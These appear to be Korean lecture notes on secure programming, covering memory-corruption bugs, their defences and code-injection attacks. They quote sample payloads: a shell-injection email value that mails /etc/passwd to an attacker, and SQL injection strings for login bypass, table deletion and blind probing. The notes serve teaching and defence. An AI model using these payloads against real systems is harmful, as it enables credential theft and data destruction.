프로그래머의 잘못된 가정
프로그래머가 갖는 잘못된 신뢰 가정
1. 운영체제는 안전하고, 방화벽은 트랙픽을 필터링한다.
2. 네트워크에서 오는 입력은 안전할 것이다.
3. 컴파일된 프로그램은 읽을 수 없다.
- 단지 읽기 어려운 것일 뿐
- 모호하지만, 감추지 않음(난독화의 경우라도)
- 리버싱도구의 진화
• 코드에 담겨진 비밀 내용이 나타남
• 클라이언트/서버의 통신이 악용될 수 있음
4. 나의 웹페이지는 입력을 점검할 것이 다. 따라서 프로그램에 데이터가 도착할 때 적정한 포멧을 가질 것이다.
- 직접 http 요청을 제작
- 요청을 보내기 직전에 변경
- 모든 입력은 서버 측에서 재검증해야함
- 특별한 인코딩이 포함되어 있을 수 있음
Memory corruption attacks
memory corruption
1. Mistaking size of memory
인덱스가 0부터 시작돼서 맨 마지막 걸 하나 더 카운트하게 되는 문제
2. Forgetting string terminator
C string의 특징: 문자열 맨 마지막 끝에 널 문자가 들어 간다.
-> 그러나 strlen()은 널 문자 카운팅 X (널 문자는 문자열이 아니니까)
-> 따라서 user가 buf보다 한 바이트 더 크므로 strcpy가 제대로 안 될 것이다.
3. Integer overflow
n = width * height을 해서 buf 공간의 크기보다 n의 크기가 크면 Integer overflow가 발생할 수 있는데
현재 이 코드에서는 그런 n을 가지고 malloc()를 이용해 공간을 할당하고자 한다.
-> width와 height을 외부에서 받아들인다는 것 자체가 문제가 될 수 있다.
4. Type confusion (형 변환)
• Type safety
- 명확하게 데이터 타입에 대한 원칙을 명시하고 있으며,
- 데이터의 값이 프로그램이 실행되고 있는 동안에 원칙에 따라 유지되고 있어야 한다.
• Flexible typing
- 암묵적 형변환(Implicit type conversion)
- 명시적 형변환(Explicit type conversion)
- 안전하지 않은 숫자의 변환은 값의 변형을 가져 온다.
5. Signed integer comparison
socked 프로그래밍 과정 중 상대방이 보내는 데이터의 양은 통제할 수 없다.
-> 외부에서 들어오는 입력의 크기가 아주 큰 경우에는 이를 저장하는 변수인 length가 음의 정수가 될 수 있다. (signed int니까!)
memory corruption 대응
1. 증상에 대처(Treat the symptoms)
• 실행 및 컴파일 시 특별한 기술 적용 (ex. Canary, NX 모드, AXLR)
• 공격으로 인한 피해의 제한
- Containment(방지): 공격으로 인한 피해가 빠져나오지 못하도록 하는 것
- Curtailment(제한): 공격으로 인한 피해가 빠져나오는 순간 지워버리는 것
2. 원인의 제거(Treat the cause)
- 코드가 취약점을 갖지 않도록 함
- 코드 검토 및 분석 도구를 통한 안전한 프로그래밍 (ex. cppcheck)
3. 방어적 프로그래밍 - 경계 점검
• 방어적 프로그래밍 방법은 경계의 검사
- 쓰기 전 데이터 길이 검사 (Check data lengths before writing)
- 배열의 첨자가 범위 안에 있는 지 검사 (Check array subscripts are within limits)
- 경계 조건들을 점검하여 Off-by-One 에러를 피함(Check boundary conditions to avoid OBO)
- 입력의 길이를 제한(Constrain size of inputs)
- 위험한 코드를 실행할 있는 위험한 API 호출을 경계(Beware of dangerous API calls to risky code)
- 다른 보안 점검처럼... 책임의 분산(shared responsibility)
- 프로그래머, 프로그래밍 언어 및 컴파일러, 운영체제가 책임을 분명히 하기 위해서 책임을 나눠 가진다.
코드 주입(Code Injection) 공격의 이해
명령어의 주입 - 쉘의 활용
• 프로그래머는 시스템 명령 호출을 응용프로그램 코드에 삽입
- 명령어 쉘은 이러한 입력을 번역(Interpret) 함
• Why are they used?
- 프로그래밍 언어가 명령에 해당하는 라이브러리를 갖고 있지 않음
- 편리성, 시간 절약
• 명령어 쉘을 사용하는 것이 라이브러리를 쓰는 것보다 쉬움
- recipient는 웹의 입력 폼에서 받음
- 반드시 적절한 e-mail 주소여야 함
ex. niceperson@friendlyplace.com
- 그런데 공격자가 이를 제어 가능
attacker@hotmail.com < /etc/passwd; #
- 패스워드 파일의 내용이 공격자의 e-mail로 전송
패스워드 파일의 내용이 공격자의 e-mail로 전송 하고,
공격자의 컴퓨터에서 X터미널 실행
명령어의 주입 - 웹 환경
1. Nomal usage
• 사용자 입력.
- user submits login=“john” and pin=“1234”
• 완성 구문. SQL issued:
- SELECT accounts FROM users WHERE login=’john’ AND pin=1234
2. Malicious usage
• 사용자 입력.
- user submits login="admin’ --" and pin="0"
• 완성 구문. SQL issued:
- SELECT accounts FROM users WHERE login=’admin’ --’ AND pin=0
-> Double dash(--)는 query 이후 부분을 무시하도록 한다.
명령어의 주입 – 웹환경에서는? 조금 더 보면 Forms of SQL code injected
1.항진명제. Tautologies
• 항상 참으로 검증되는 코드 삽입
SELECT accounts FR RE
login=’’ or 1=1 -- AND pin=
-> 1=1이 무조건 참이고 or로 연결돼 있으므로 login=‘’이 거짓이어도 결론은 참이 된다.
• 항진명제의 차단은 어려움. Blacklisting tautologies is difficult
- 여러 경우들. Many ways of writing them:
• 1>0, ’x’ LIKE ’x’, . . .
- 쿼지 항진명제 Quasi tautologies: very often true RAND()>0.01, . . .
2. Piggy-backed queries
• 쿼리의 피기백. Inject a second, distinct query:
SELECT accounts FROM users WHERE
login=’doe’; drop table users -- ’ AND pin=123
- 명령의 구분. Database parses second command after ‘;’
- 두 번째 쿼리 수행. Executes second query, deleting users table
3. Inference pairs
- 에러가 명확하지만 보이지 않는 경우
- 두 쿼리의 결과 차이를 통해 정보를 추출
- Bilnd Injection(눈에 보이는 출력의 차이 비교) / Timing Attack(이진 연산에 대한 응답 시간의 차이를 통해 추측)
• 로건 파라미터 취약점 검사
Step 1. always true:
login=’legalUser’ and 1=1 -- ’
- 응답: INVALID PASSWORD
- 공격자의 생각: 잘못된 입력이 탐지 됐거나 패스워드 점검이 분리되어 실행
Step 2. always false:
login=’legalUser’ and 1=0 -- ’
- 응답: INVALID USERNAME AND PASSWORD
- 공격자의 생각:1=1을 입력했을 때와 1=0을 입력했을 때의 응답이 다르므로 로건 파라미터 인젝션이 가능하겠군
4. Stored procedures and other DBMS features
- SQL도 프로시져를 만들어서 활용 가능- 스크립트 언어 형태
• xp_cmdshell
- Microsoft SQL Server에서 제공
- DB에서 운영체제의 명령 수행
- DBMS에서 운영체제의 명령어를 사용하고 싶을 때 사용되는 것
- 편의를 위해 사용
프로그래머의 책임은 어디까지 인가?
프로그래머의 점검 -> 한계
방어적 프로그래밍 - 경계 점검을 안 한 코드
• 매번 점검 – 성능에 영향
- 두 번 다 점검할 필요가 있는지?
- 그냥 넘어가고 싶은 상황
- 만일 경계가 계산대상이 되면, 두번 점검은 필수적
- 프로그래머의 점검은 한계를 가짐
프로그래밍 언어의 안전성
• 프로그램 언어의 특성이 자동적으로 memory safety와 type safety를 제공
• Memory safety : 임의의 메모리 주소에 데이터를 읽고 쓰 는 것을 불허. Corrupted된 메모리로부터의 overflow 공격을 막게 됨.
• Type safety : 데이터 전달 시 명확한 데이터 형을 명시하도 록 하여 임의의 데이터가 전달되는 것을 차단함. 공격자들이 데이터 영역에 이진코드를 주입하여 실행하는 것을 어렵게 함.
컴파일러와 도구를 활용한 안전성 확보
• 안전하지 않은 언어를 사용할 때 안전성의 보장을 위해
- safe compiler – 자동으로 점검 코드를 생성하여 실행 도중 경계 와 데이터 타입을 점검
- a verifying compiler – 정적으로 컴파일 시에 코드가 안전한지를 점검
- security testing tools – security bugs를 찾기 위해 입력을 생성 하여 입력해보는 도구
- program analysis tools – 소스 코드가 특정 취약점이 있는지를 확인
라이브러리 관점의 안전성
• 안전하지 않는 함수와 이의 설명을 검토
- Microsoft’s recommendations
- CERT Secure C Coding
• Code security scanning tool을 사용
- 위험한 API 호출 탐지기능 보유
- 코드를 찾는 것은 쉽지만, 특정 취약점을 식별하기 위해 깊은 분석이 필요
- Examples: RATS, cppcheck, SPLint, Clang.
• 안전한 라이브러리를 선택사용
- The Safe C Library – Visual Studio 2005.부터
- 경계 점검은 최근 발표된 C11 standard의 일부 (appendix K, also ISO/IEC TR 24731-1)